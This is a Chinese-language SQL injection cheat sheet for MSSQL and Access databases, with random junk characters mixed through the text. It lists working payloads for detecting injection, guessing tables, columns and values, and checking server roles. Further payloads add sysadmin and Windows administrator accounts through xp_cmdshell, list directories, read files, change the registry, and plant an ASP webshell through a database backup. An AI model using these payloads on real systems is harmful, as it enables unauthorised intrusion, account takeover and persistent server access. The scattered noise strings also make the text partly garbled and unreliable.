1.判断是否有注入;and 1=1 ;and 1=2 AyXKhj#Ml
2.初步判断是否是mssql ;and user>0 vb2O4%7tw
L.&Vi"M <@
3.注入参数是字符'and [查询条件] and ''=' TgG)btQ
^O9m11
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ep1Ajz.l
g(/O)G.
5.判断数据库系统 )n61IqrW
c^UM(bW
;and (select count(*) from sysobjects)>0 mssql ^g"6p#S=n
]o[HH_`s@
;and (select count(*) from msysobjects)>0 access NY
w(hAPv
~$9"|
6h"?3w
%ieAY-<"
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Z.f<6<gF
J\},o|WI
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ({62GWnn_
4p g(QeR
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 !: [`
V!{
4y)1*V U:
9.(1)猜字段的ascii值(access) eh=bClk
nr%^:u
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 q "vT]=Y}:
h v+i{Z9!]
(2)猜字段的ascii值(mssql) 438>)=
A}}t86T
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 O$ oN1
;L{y3CWT
10.测试权限结构(mssql) ?AH<y/i<Y
e
q.aN3KB"
$O>MV
N^>g=Ub
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 3Sb%]f5(
:zZM&r>
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- z>q_]U0
gC:E38u
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 5Ww\h
7}?z=LHb3
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- +DDvM;31w
6H9]]Unju
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ZuON@ (
XBBRB<l)
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- TMs\#
eS+LFS7*k
;and 1=(select IS_MEMBER('db_owner'));-- =swcmab;
;]e"bX
V)@scB|>,
N($]))~3&
11.添加mssql和系统的帐户 ?q6eV~P
9]9(o
;exec master.dbo.sp_addlogin username;-- ~nlY8B(
;exec master.dbo.sp_password null,username,password;-- &wvv5Vd
AY]nc#zz
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 79fg%cSb
+{*&I DW
;exec master.dbo.xp_cmdshell 'net user username password kE|#mI[>
ot6Pq}
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ;bbEd'
,1kV9_x
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Ku# _
;W"[,#2TM
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- r
+fzmb
=ye}IpC*M
[\p0eUog/
UJ&,9}L8
12.(1)遍历目录 [O'p&j@
]YKWa"
;create table dirs(paths varchar(100), id int) O2B$c\pw
r3)t5P*_
;insert dirs exec master.dbo.xp_dirtree 'c:\' [J#(k`@
p*,mwKN:
;and (select top 1 paths from dirs)>0 zAIC5fvu
XsC bA8Qv
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) :zoX
Xo
n40Z
Plv+ mb
kDQXPp
(2)遍历目录 2y,wN"qH*
AE Jm/8,T
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- cPYQ<Y=
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 lUz@Em
&!Vp'l\9
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 r~t7Z+PXF
/J:j'6
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 >?V->7QLP
_!D$Aj
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 bf+2c6_BN0
2:yv:7t/
e%\K I\u
AJ}Q,E
13.mssql中的存储过程 ~>|U %3}]
gsH_pG-jU
xp_regenumvalues 注册表根键, 子键 CaMG$X&O
\k8_ZJw
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 }#M|3h;q9+
dWSH\wm+
xp_regread 根键,子键,键值名 .BvV[`P
8a{g EZT,
;exec xp_regread 6P8X)3CE<T
8'$n|<1X
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 y.2 SHn0
N3)EG6vE*
xp_regwrite 根键,子键, 值名, 值类型, 值 "M]]H^r5
`pr,lL
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 im"v75 tc
I`l<}M
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 hGLBFe#3
dX*PR3I-3
xp_regdeletevalue 根键,子键,值名 )1ciO+_
~Gza$ K
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 %,BJkNV
'u~use"
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ty
?y&~axk
;8UHPDnst
jw)t"S/E
Wj0([n
14.mssql的backup创建webshell 4k8 @u
Ym6[~=~EK
use model |BR&p)7)
f32nO
create table cmd(str image); ]2+(i
O #"O.GX<
insert into cmd(str) values (''); $o z
ZFvJF
3$TpI5A
backup database model to disk='c:\l.asp'; &%<G2x$
ZZUCwczI
hO8B]4=&*
pmZr<xs
15.mssql内置函数 xfilxd
\BA_PyS?W+
;and (select @@version)>0 获得Windows的版本号 1x]G/I*
{.AFg/Z
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 6aL`^^
&f$jpIyVX
;and (select user_name())>0 爆当前系统的连接用户 !#QD;,SE+
:Fh*4
&Z
;and (select db_name())>0 得到当前连接的数据库 }0
Z3Lrv
ugz1R+f_4{
vhKD_}}aP
3't?%$'5
16.简洁的webshell IlY,V
TX;|g1K
use model h4U .wk
hM-qC|!
create table cmd(str image); ]GJskBm
MEE]6nU
insert into cmd(str) values (''); Mppb34y
y3vOb , 4
backup database model to disk='g:\wwwtest\l.asp';